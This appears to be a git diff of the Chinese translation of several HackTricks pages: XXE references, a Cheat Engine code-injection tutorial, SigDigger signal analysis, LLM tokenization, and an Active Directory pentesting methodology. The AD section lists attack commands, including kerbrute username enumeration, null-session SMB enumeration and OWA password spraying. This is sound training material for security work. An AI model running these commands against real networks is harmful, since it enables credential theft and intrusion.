- 通过使用自己的外部 DTD 提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- 通过使用自己的外部 DTD 通过 HTTP 提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,99 +2,99 @@
{{#include ../../banners/hacktricks-training.md}}
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序,可以找到正在运行的游戏内重要值在内存中的存储位置并进行更改。\
当你下载并运行它时,你会**看到**一个**教程**,介绍如何使用该工具。如果你想学习如何使用该工具,强烈建议完成这个教程。
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序,可以找到正在运行的游戏内重要值保存的位置并进行更改。\
当你下载并运行它时,你会 **看到** 一个 **教程**,介绍如何使用该工具。如果你想学习如何使用该工具,强烈建议完成这个教程。
## 你在搜索什么?
![](<../../images/image (762).png>)
这个工具非常有用,可以找到**某个值**(通常是一个数字)**在程序内存中的存储位置**。\
**通常数字**以**4字节**形式存储,但你也可以找到**双精度**或**浮点**格式,或者你可能想寻找一些**不同于数字**的东西。因此,你需要确保你**选择**你想要**搜索的内容**
这个工具非常有用,可以找到 **某个值**(通常是一个数字) **在程序内存中的存储位置**。\
**通常数字****4字节** 形式存储,但你也可以找到 **双精度****浮点** 格式,或者你可能想寻找 **不同于数字** 的东西。因此,你需要确保 **选择** 你想要 **搜索的内容**
![](<../../images/image (324).png>)
你还可以指示**不同**类型的**搜索**
你还可以指示 **不同** 类型的 **搜索**
![](<../../images/image (311).png>)
你还可以勾选框以**在扫描内存时停止游戏**
你还可以勾选框以 **在扫描内存时停止游戏**
![](<../../images/image (1052).png>)
### 热键
_**编辑 --> 设置 --> 热键**_ 中,你可以为不同的目的设置不同的**热键**,例如**停止**游戏(如果你想在某个时刻扫描内存,这非常有用)。还有其他选项可用:
_**编辑 --> 设置 --> 热键**_ 中,你可以为不同的目的设置不同的 **热键**,例如 **停止** **游戏**(如果你想在某个时刻扫描内存,这非常有用)。还有其他选项可用:
![](<../../images/image (864).png>)
## 修改值
一旦你**找到**你正在**寻找的值**(更多内容在接下来的步骤中),你可以通过双击它来**修改**它,然后双击其值:
一旦你 **找到****要寻找的值**(更多内容在接下来的步骤中),你可以通过双击它来 **修改它**,然后双击它的值:
![](<../../images/image (563).png>)
最后**勾选**以在内存中完成修改:
最后 **勾选复选框** 以在内存中完成修改:
![](<../../images/image (385).png>)
对**内存**的**更改**将立即**应用**(请注意,直到游戏再次使用此值,该值**不会在游戏中更新**)。
**内存** **更改** 将立即 **应用**(请注意,直到游戏再次使用此值,该值 **不会在游戏中更新**)。
## 搜索值
所以,我们假设有一个重要值(比如你用户的生命值)你想要提高,并且你正在内存中寻找这个值)
所以,我们假设有一个重要值(比如你用户的生命值)你想要提高,并且你正在内存中寻找这个值)
### 通过已知更改
### 通过已知的变化
假设你在寻找值100你**执行扫描**以搜索该值,并找到很多匹配项:
假设你在寻找值 100**执行扫描** 搜索该值,并且你发现了很多匹配项:
![](<../../images/image (108).png>)
然后,你做一些事情使得**值发生变化**,你**停止**游戏并**执行**下一次扫描:
然后,你做一些事情使得 **值发生变化**,你 **停止** 游戏并 **执行** **下一次扫描**
![](<../../images/image (684).png>)
Cheat Engine 将搜索**从100变为新值**的**值**。恭喜,你**找到了**你正在寻找的**值的地址**,现在你可以修改它。\
如果你仍然有多个值,做一些事情再次修改该值,并执行另一次“下一次扫描”以过滤地址。
Cheat Engine 将搜索 **从 100 变为新值****值**。恭喜你,**找到了** 你要寻找的 **值的地址**,现在你可以修改它。\
_如果你仍然有多个值,做一些事情再次修改该值,并执行另一个“下一次扫描”以过滤地址。_
### 未知值,已知更改
### 未知值,已知变化
在你**不知道值**但你知道**如何使其变化**(甚至变化的值)的情况下,你可以寻找你的数字。
在你 **不知道值** 但你知道 **如何使其变化**(甚至变化的值)的情况下,你可以寻找你的数字。
所以,首先执行一种类型为“**未知初始值**”的扫描:
![](<../../images/image (890).png>)
然后,使值发生变化,指示**值**是**如何变化的**在我的例子中是减少了1并执行**下一次扫描**
然后,使值发生变化,指示 **值** **如何变化**(在我的情况下,它减少了 1并执行 **下一次扫描**
![](<../../images/image (371).png>)
你将看到**所有以所选方式修改的值**
你将看到 **所有以所选方式修改的值**
![](<../../images/image (569).png>)
一旦你找到了你的值,你可以修改它。
请注意,有很多**可能的变化**,你可以根据需要**多次执行这些步骤**以过滤结果:
请注意,有 **很多可能的变化**,你可以根据需要 **多次执行这些步骤** 以过滤结果:
![](<../../images/image (574).png>)
### 随机内存地址 - 查找代码
到目前为止,我们学习了如何找到存储值的地址,但在**不同的游戏执行中,该地址很可能在内存中的不同位置**。所以让我们找出如何始终找到该地址。
到目前为止,我们学习了如何找到存储值的地址,但在 **游戏的不同执行中,该地址很可能位于内存的不同位置**。所以让我们找出如何始终找到该地址。
使用一些提到的技巧,找到当前游戏存储重要值的地址。然后(如果你愿意,可以停止游戏)右键单击找到的**地址**,选择“**查找访问此地址的内容**”或“**查找写入此地址的内容**”:
使用一些提到的技巧,找到当前游戏存储重要值的地址。然后(如果你愿意,可以停止游戏)右键单击找到的 **地址**,选择“**查找访问此地址的内容**”或“**查找写入此地址的内容**”:
![](<../../images/image (1067).png>)
**第一个选项**有助于了解**代码**的**哪些部分**在**使用**此**地址**(这对于更多事情很有用,比如**知道你可以在哪里修改游戏代码**)。\
**第二个选项**更**具体**,在这种情况下更有帮助,因为我们想知道**这个值是从哪里写入的**。
**第一个选项** 有助于了解 **代码****哪些部分****使用****地址**(这对于更多事情很有用,比如 **知道你可以在哪里修改游戏的代码**)。\
**第二个选项** **具体**,在这种情况下更有帮助,因为我们想知道 **这个值是从哪里写入的**
一旦你选择了其中一个选项,**调试器**将**附加**到程序,并且会出现一个新的**空窗口**。现在,**玩**游戏并**修改**该**值**(无需重新启动游戏)。**窗口**应该会**填充**正在**修改**该**值**的**地址**
一旦你选择了其中一个选项,**调试器** **附加** 到程序,并且会出现一个新的 **空窗口**。现在,**玩** **游戏** **修改** **值**(无需重新启动游戏)。**窗口** 应该会 **填充** 正在 **修改** **值** **地址**
![](<../../images/image (91).png>)
现在你找到了修改值的地址,你可以**随意修改代码**Cheat Engine 允许你快速将其修改为 NOP
现在你找到了修改值的地址,你可以 **随意修改代码**Cheat Engine 允许你快速将其修改为 NOP
![](<../../images/image (1057).png>)
@ -102,22 +102,22 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜,你**找到了
### 随机内存地址 - 查找指针
按照前的步骤,找到你感兴趣的值。然后,使用“**查找写入此地址的内容**”找出哪个地址写入此值,并双击它以获取反汇编视图:
按照前的步骤,找到你感兴趣的值。然后,使用“**查找写入此地址的内容**”找出哪个地址写入此值,并双击它以获取反汇编视图:
![](<../../images/image (1039).png>)
然后,执行新的扫描**搜索“\[]”之间的十六进制值**(在这种情况下是$edx的值
然后,执行新的扫描 **搜索“[]”之间的十六进制值**(在这种情况下是 $edx 的值):
![](<../../images/image (994).png>)
_如果出现多个通常需要最小的地址_\
现在,我们已经**找到了将修改我们感兴趣的值的指针**。
现在,我们已经 **找到了将修改我们感兴趣的值的指针**
点击“**手动添加地址**”:
![](<../../images/image (990).png>)
现在,勾选“指针”复选框,并在文本框中添加找到的地址(在这种情况下,前一张图片中找到的地址是“Tutorial-i386.exe”+2426B0
现在,勾选“指针”复选框,并在文本框中添加找到的地址(在这种情况下,前一张图片中找到的地址是 "Tutorial-i386.exe"+2426B0
![](<../../images/image (392).png>)
@ -127,22 +127,22 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜,你**找到了
![](<../../images/image (308).png>)
现在,每次你修改该值时,即使值所在的内存地址不同,你也在**修改重要值**。
现在,每次你修改该值时,你都在 **修改重要值,即使值所在的内存地址不同。**
### 代码注入
代码注入是一种技术,你将一段代码注入目标进程,然后重新路由代码的执行以通过你自己编写的代码(例如给你积分而不是减少它们)。
代码注入是一种技术,你将一段代码注入目标进程,然后重新引导代码的执行以通过你自己编写的代码(例如给你积分而不是减少它们)。
所以,想象一下你找到了一个地址,它正在将1从你的玩家生命中减去:
所以,想象一下你找到了一个地址,它正在从你的玩家生命中减去 1
![](<../../images/image (203).png>)
点击显示反汇编以获取**反汇编代码**。\
然后,点击**CTRL+a**以调用自动汇编窗口并选择 _**模板 --> 代码注入**_
点击显示反汇编以获取 **反汇编代码**。\
然后,点击 **CTRL+a** 调出自动汇编窗口并选择 _**模板 --> 代码注入**_
![](<../../images/image (902).png>)
填写**你想要修改的指令的地址**(这通常是自动填充的):
填写 **你想要修改的指令的地址**(这通常是自动填充的):
![](<../../images/image (744).png>)
@ -150,7 +150,7 @@ Cheat Engine 将搜索**从100变为新值**的**值**。恭喜,你**找到了
![](<../../images/image (944).png>)
因此,将你的新汇编代码插入“**newmem**”部分,并从“**originalcode**”中删除原始代码,如果你不想让它被执行\*\*.\*\* 在这个例子中,注入的代码将增加2点而不是减少1
因此,将你的新汇编代码插入“**newmem**”部分,并从“**originalcode**”中删除原始代码,如果你不想执行\*\*.\*\* 在这个例子中,注入的代码将增加 2 分而不是减去 1
![](<../../images/image (521).png>)

View File

@ -8,8 +8,8 @@
### Basic Config
安装后,有一些您可以考虑配置的内容。\
在设置(第二个选项卡按钮)中,您可以选择**SDR设备**或**选择一个文件**进行读取以及要调谐的频率和采样率如果您的PC支持建议最高可达2.56Msps\\
安装后,有一些配置选项可以考虑。\
在设置(第二个标签按钮)中,您可以选择**SDR设备**或**选择一个文件**进行读取以及要调谐的频率和采样率如果您的PC支持建议最高可达2.56Msps
![](<../../images/image (245).png>)
@ -22,7 +22,7 @@
### Uses
- 只需**捕获信号的一段时间并分析它**只需按住“Push to capture”按钮直到您需要的时间。
- 只需**捕获信号的一段时间并分析它**只需按住“Push to capture”按钮保持所需时间。
![](<../../images/image (960).png>)
@ -38,15 +38,15 @@
## Interesting tricks
- 当设备发送信息突发时,通常**第一部分是前导码**,因此您**不必担心**如果您**没有找到信息**或**如果那里有一些错误**。
- 当设备发送信息突发时,通常**第一部分是前导码**,因此您**不必担心**如果您**没有找到信息**或**那里有一些错误**。
- 在信息帧中,您通常应该**找到不同的帧彼此对齐**
![](<../../images/image (1076).png>)
![](<../../images/image (597).png>)
- **在恢复位之后,您可能需要以某种方式处理它们**。例如,在曼彻斯特编码中,上+下将是1或0下+上将是另一个。因此1和0的对上和下将是真实的1或真实的0。
- 即使信号使用曼彻斯特编码不可能找到超过两个0或1连续出现),您也可能在前导码中**找到多个1或0**
- **在恢复比特后,您可能需要以某种方式处理它们**。例如,在曼彻斯特编码中,上+下将是1或0下+上将是另一个。因此1和0的对上和下将是真实的1或真实的0。
- 即使信号使用曼彻斯特编码(不可能找到连续超过两个0或1您也可能在前导码中**找到多个1或0**
### Uncovering modulation type with IQ
@ -72,7 +72,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
#### Checking the envelope
使用[**SigDigger** ](https://github.com/BatchDrake/SigDigger)检查AM信息仅查看**包络**您可以看到不同的清晰幅度水平。所用信号以AM发送脉冲信息,这就是一个脉冲的样子:
使用[**SigDigger** ](https://github.com/BatchDrake/SigDigger)检查AM信息仅查看**包络**您可以看到不同的清晰幅度水平。所用信号以AM发送信息脉冲,这就是一个脉冲的样子:
![](<../../images/image (590).png>)
@ -82,7 +82,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
#### Checking the Histogram
您可以**选择包含信息的整个信号**,选择**幅度**模式和**选择**,然后单击**直方图**。您可以观察到仅发现2个清晰的水平
您可以**选择包含信息的整个信号**,选择**幅度**模式和**选择**,然后单击**直方图**。您可以观察到仅找到2个清晰的水平。
![](<../../images/image (264).png>)
@ -102,44 +102,44 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
#### With one symbol
选择您能找到的最小符号以确保它只是1并检查“选择频率”。在这种情况下它将是1.013kHz即1kHz
选择您能找到的最小符号以确保它只是1并检查“选择频率”。在这种情况下它将是1.013kHz即1kHz
![](<../../images/image (78).png>)
#### With a group of symbols
您还可以指示要选择的符号数量SigDigger将计算1个符号的频率选择的符号越多可能越好。在这种情况下我选择了10个符号“选择频率”为1.004 kHz
您还可以指示要选择的符号数量SigDigger将计算1个符号的频率选择的符号越多可能越好。在这种情况下我选择了10个符号“选择频率”为1.004 Khz
![](<../../images/image (1008).png>)
### Get Bits
发现这是一个**AM调制**信号和**符号率**(并且知道在这种情况下某个上表示1某个下表示0很容易**获取信号中编码的位**。因此,选择包含信息的信号并配置采样和决策,然后按下采样(检查**幅度**已选择,发现的**符号率**已配置,并选择了**Gadner时钟恢复**
发现这是一个**AM调制**信号和**符号率**(并且知道在这种情况下某个上意味着1某个下意味着0很容易**获取信号中编码的比特**。因此,选择包含信息的信号并配置采样和决策,然后按下采样(检查**幅度**已选择,发现的**符号率**已配置,**Gadner时钟恢复**已选择
![](<../../images/image (965).png>)
- **同步到选择间隔**意味着如果您之前选择了间隔以找到符号率,则将使用该符号率。
- **手动**意味着将使用指示的符号率
- 在**固定间隔选择**中,您指示应选择的间隔数量,并从中计算符号率
- **手动**意味着将使用指示的符号率
- 在**固定间隔选择**中,您指示应选择的间隔数量,并从中计算符号率
- **Gadner时钟恢复**通常是最佳选项,但您仍需指示一些近似的符号率。
按下采样后,出现以下内容:
![](<../../images/image (644).png>)
现在为了让SigDigger理解**信息承载的水平范围**,您需要单击**较低水平**并保持按,直到达到最高水平:
现在为了让SigDigger理解**信息承载的水平范围**,您需要单击**较低水平**并保持按,直到达到最高水平:
![](<../../images/image (439).png>)
如果例如有**4个不同的幅度水平**,您应该将**每个符号的数配置为2**,并从最小值选择到最大值。
如果例如有**4个不同的幅度水平**,您应该将**每个符号的比特数配置为2**,并从最小值选择到最大值。
最后,通过**增加****缩放**和**更改行大小**,您可以看到位(您可以选择所有并复制以获取所有位
最后**增加****缩放**和**更改行大小**,您可以看到比特(您可以选择所有并复制以获取所有比特
![](<../../images/image (276).png>)
如果信号每个符号有超过1例如2SigDigger**无法知道哪个符号是**00、01、10、11因此它将使用不同的**灰度**来表示每个(如果您复制,它将使用**0到3的数字**,您需要处理它们)。
如果信号每个符号有超过1个比特例如2SigDigger**无法知道哪个符号是**00、01、10、11因此它将使用不同的**灰度**来表示每个(如果您复制比特,它将使用**0到3的数字**,您需要处理它们)。
此外,使用**编码**如**曼彻斯特**,上+下可以是**1或0**,下+上可以是1或0。在这些情况下您需要**处理获得的上1和下0**以替换成对的01或10为0或1。
此外,使用**编码**如**曼彻斯特****上+下**可以是**1或0**下+上可以是1或0。在这些情况下您需要**处理获得的上1和下0**以替换成对的01或10为0或1。
## FM Example
@ -197,6 +197,6 @@ IQ没有识别频率的字段到中心的距离是幅度角度是相位
### Get Bits
您可以使用**与AM示例中使用的相同技术**来获取位,一旦您**发现信号是频率调制**和**符号率**。
您可以使用**与AM示例中使用的相同技术**来获取比特,一旦您**发现信号是频率调制的**和**符号率**。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,77 +1,77 @@
# 1. 分词
# 1. Tokenizing
## 分词
## Tokenizing
**分词**是将数据如文本分解为更小、可管理的部分称为_标记_的过程。每个标记都被分配一个唯一的数字标识符ID。这是为机器学习模型处理文本做准备的基本步骤特别是在自然语言处理NLP中。
**Tokenizing** 是将数据(如文本)分解为更小、可管理的部分,称为 _tokens_ 的过程。每个 token 都会被分配一个唯一的数字标识符ID。这是为机器学习模型处理文本做准备的基本步骤尤其是在自然语言处理NLP中。
> [!TIP]
> 这个初始阶段的目标非常简单:**以某种有意义的方式将输入分成标记ID**。
> 这个初始阶段的目标非常简单:**以某种合理的方式将输入划分为 tokensids**。
### **分词的工作原理**
### **How Tokenizing Works**
1. **拆分文本:**
- **基本分词器:** 一个简单的分词器可能会将文本拆分为单个单词和标点符号,去除空格。
- _示例:_\
文本`"Hello, world!"`\
标记:`["Hello", ",", "world", "!"]`
2. **创建词汇表:**
- 为了将标记转换为数字ID创建一个**词汇表**。这个词汇表列出所有唯一的标记(单词和符号),并为每个标记分配一个特定的ID。
- **特殊标记:** 这些是添加到词汇表中的特殊符号,以处理各种场景
- `[BOS]`(序列开始):表示文本的开始。
- `[EOS]`(序列结束):表示文本的结束。
1. **Splitting the Text:**
- **Basic Tokenizer:** 一个简单的 tokenizer 可能会将文本拆分为单个单词和标点符号,去除空格。
- _Example:_\
文本: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- 为了将 tokens 转换为数字 ID创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens单词和符号并为每个 token 分配一个特定的 ID。
- **Special Tokens:** 这些是添加到 vocabulary 中以处理各种场景的特殊符号
- `[BOS]`开始序列):表示文本的开始。
- `[EOS]`结束序列):表示文本的结束。
- `[PAD]`(填充):用于使批次中的所有序列具有相同的长度。
- `[UNK]`(未知):表示不在词汇表中的标记
- _示例:_\
如果`"Hello"`被分配ID `64``","``455``"world"``78``"!"``467`,那么:\
- `[UNK]`(未知):表示不在 vocabulary 中的 tokens
- _Example:_\
如果 `"Hello"` 被分配 ID `64``","` `455``"world"` `78``"!"` `467`,那么:\
`"Hello, world!"``[64, 455, 78, 467]`
- **处理未知单词:**\
如果像`"Bye"`这样的单词不在词汇表中,它将被替换为`[UNK]`。\
- **Handling Unknown Words:**\
如果像 `"Bye"` 这样的单词不在 vocabulary 中,它将被替换为 `[UNK]`。\
`"Bye, world!"``["[UNK]", ",", "world", "!"]``[987, 455, 78, 467]`\
&#xNAN;_(假设`[UNK]`的ID是`987`)_
_(假设 `[UNK]` ID `987`)_
### **高级分词方法**
### **Advanced Tokenizing Methods**
虽然基本分词器适用于简单文本,但在处理大型词汇表和新或稀有单词时存在局限性。高级分词方法通过将文本拆分为更小的子单元或优化分词过程来解决这些问题。
虽然基本的 tokenizer 对于简单文本效果良好,但在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。
1. **字节对编码BPE**
- **目的:** 通过将稀有或未知单词拆分为频繁出现的字节对,减少词汇表的大小并处理稀有或未知单词。
- **工作原理:**
- 从单个字符作为标记开始。
- 迭代地将最频繁的标记对合并为一个标记
- 继续直到没有更多频繁的标记对可以合并。
- **好处:**
- 消除了对`[UNK]`标记的需求,因为所有单词都可以通过组合现有的子词标记来表示。
- 更高效和灵活的词汇表
- _示例:_\
`"playing"`可能被标记为`["play", "ing"]`,如果`"play"``"ing"`是频繁的子词。
2. **WordPiece**
- **使用者:** 像BERT这样的模型。
- **目的:** 类似于BPE它将单词拆分为子词单元以处理未知单词并减少词汇表大小。
- **工作原理:**
- 从单个字符的基本词汇表开始。
- 迭代地添加最大化训练数据可能性的最频繁子词
1. **Byte Pair Encoding (BPE):**
- **Purpose:** 通过将稀有或未知单词分解为频繁出现的字节对,减少 vocabulary 的大小并处理稀有或未知单词。
- **How It Works:**
- 从单个字符作为 tokens 开始。
- 迭代地将最频繁的 token 对合并为一个单一的 token
- 继续直到没有更多频繁的对可以合并。
- **Benefits:**
- 消除了对 `[UNK]` token 的需求,因为所有单词都可以通过组合现有的子词 tokens 来表示。
- 更高效和灵活的 vocabulary
- _Example:_\
`"playing"` 可能被 tokenized 为 `["play", "ing"]`,如果 `"play"``"ing"` 是频繁的子词。
2. **WordPiece:**
- **Used By:** 像 BERT 这样的模型。
- **Purpose:** 类似于 BPE它将单词分解为子词单元以处理未知单词并减少 vocabulary 大小。
- **How It Works:**
- 从单个字符的基础 vocabulary 开始。
- 迭代地添加最频繁的子词,以最大化训练数据可能性。
- 使用概率模型决定合并哪些子词。
- **好处:**
- 在拥有可管理的词汇表大小和有效表示单词之间取得平衡。
- **Benefits:**
- 在拥有可管理的 vocabulary 大小和有效表示单词之间取得平衡。
- 高效处理稀有和复合单词。
- _示例:_\
`"unhappiness"`可能被标记为`["un", "happiness"]``["un", "happy", "ness"]`,具体取决于词汇表
3. **单元语言模型:**
- **使用者:** 像SentencePiece这样的模型。
- **目的:** 使用概率模型确定最可能的子词标记集
- **工作原理:**
- 从一组潜在标记开始。
- 迭代地删除对模型的训练数据概率改善最小的标记
- 最终确定一个词汇表,其中每个单词由最可能的子词单元表示。
- **好处:**
- 灵活可以更自然地建模语言。
- 通常导致更高效和紧凑的标记化
- _示例:_\
`"internationalization"`可能被标记为更小的、有意义的子词,如`["international", "ization"]`
- _Example:_\
`"unhappiness"` 可能被 tokenized 为 `["un", "happiness"]``["un", "happy", "ness"]`,具体取决于 vocabulary
3. **Unigram Language Model:**
- **Used By:** 像 SentencePiece 这样的模型。
- **Purpose:** 使用概率模型确定最可能的子词 tokens 集合
- **How It Works:**
- 从一组潜在的 tokens 开始。
- 迭代地移除那些对模型的训练数据概率提升最小的 tokens
- 最终确定一个 vocabulary,其中每个单词由最可能的子词单元表示。
- **Benefits:**
- 灵活可以更自然地建模语言。
- 通常会导致更高效和紧凑的 tokenizations
- _Example:_\
`"internationalization"` 可能被 tokenized 为更小的、有意义的子词,如 `["international", "ization"]`
## 代码示例
## Code Example
让我们通过来自[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb)的代码示例更好地理解这一点:
让我们通过来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) 的代码示例更好地理解这一点:
```python
# Download a text to pre-train the model
import urllib.request

View File

@ -1,4 +1,4 @@
# Active Directory 方法论
# Active Directory Methodology
{{#include ../../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
**Active Directory** 作为基础技术,使 **网络管理员** 能够高效地创建和管理网络中的 **域**、**用户** 和 **对象**。它被设计为可扩展,便于将大量用户组织成可管理的 **组****子组**,同时在不同级别上控制 **访问权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是这些域的组,按共享结构连接,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限**
**Active Directory** 的结构由三个主要层次组成:**域**、**树** 和 **森林**。一个 **域** 包含一组对象,如 **用户****设备**,共享一个公共数据库。**树** 是通过共享结构连接的这些域的组,而 **森林** 代表多个树的集合,通过 **信任关系** 互联,形成组织结构的最上层。可以在每个层次上指定特定的 **访问****通信权限**
**Active Directory** 中的关键概念包括:
@ -36,7 +36,7 @@
您可以访问 [https://wadcoms.github.io/](https://wadcoms.github.io) 快速查看可以运行的命令,以枚举/利用 AD。
## 侦察 Active Directory(无凭据/会话)
## 侦察 Active Directory (无凭据/会话)
如果您仅访问 AD 环境,但没有任何凭据/会话,您可以:
@ -44,7 +44,7 @@
- 扫描网络,查找机器和开放端口,并尝试 **利用漏洞****提取凭据**(例如,[打印机可能是非常有趣的目标](ad-information-in-printers.md))。
- 枚举 DNS 可能会提供有关域中关键服务器的信息,如 Web、打印机、共享、VPN、媒体等。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md)以获取有关如何执行此操作的更多信息。
- 查看一般的 [**渗透测试方法论**](../../generic-methodologies-and-resources/pentesting-methodology.md) 以获取有关如何执行此操作的更多信息。
- **检查 smb 服务上的空和访客访问**(这在现代 Windows 版本上不起作用):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@ -66,7 +66,7 @@
- **毒化网络**
- 收集凭据 [**通过 Responder 冒充服务**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- 通过 [**滥用中继攻击**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 访问主机
- 收集凭据 **暴露** [** UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- 收集凭据 **暴露** [**伪造的 UPnP 服务与 evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology)
- 从内部文档、社交媒体、服务(主要是 Web中提取用户名/姓名,以及从公开可用的信息中提取。
- 如果您找到公司员工的完整姓名,您可以尝试不同的 AD **用户名约定****[阅读此文](https://activedirectorypro.com/active-directory-user-naming-convention/)**。最常见的约定是_NameSurname_、_Name.Surname_、_NamSur_每个的 3 个字母、_Nam.Sur_、_NSurname_、_N.Surname_、_SurnameName_、_Surname.Name_、_SurnameN_、_Surname.N_、3 个 _随机字母和 3 个随机数字_abc123
@ -77,7 +77,7 @@
### 用户枚举
- **匿名 SMB/LDAP 枚举:** 检查 [**渗透测试 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**渗透测试 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定该用户名无效。 **有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示用户需要进行预身份验证。
- **Kerbrute 枚举**:当请求 **无效用户名** 时,服务器将使用 **Kerberos 错误** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而使我们能够确定该用户名无效。**有效用户名** 将引发 **AS-REP** 响应中的 **TGT** 或错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_指示用户需要进行预身份验证。
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
> 你可以在 [**这个 github 仓库**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
>
> 然而,你应该从之前的侦查步骤中获得 **公司员工的姓名**。有了名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 来生成潜在的有效用户名。
@ -112,7 +112,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
好的,所以你知道你已经有一个有效的用户名,但没有密码……那么尝试:
- [**ASREPRoast**](asreproast.md):如果用户 **没有** 属性 _DONT_REQ_PREAUTH_你可以 **请求该用户的 AS_REP 消息**,其中将包含一些由用户密码的派生加密的数据。
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- [**Password Spraying**](password-spraying.md):让我们尝试每个发现用户的 **常见密码**,也许某个用户使用了一个糟糕的密码(记住密码策略!)。
- 请注意,你也可以 **喷洒 OWA 服务器** 来尝试访问用户的邮件服务器。
{{#ref}}
@ -129,7 +129,7 @@ password-spraying.md
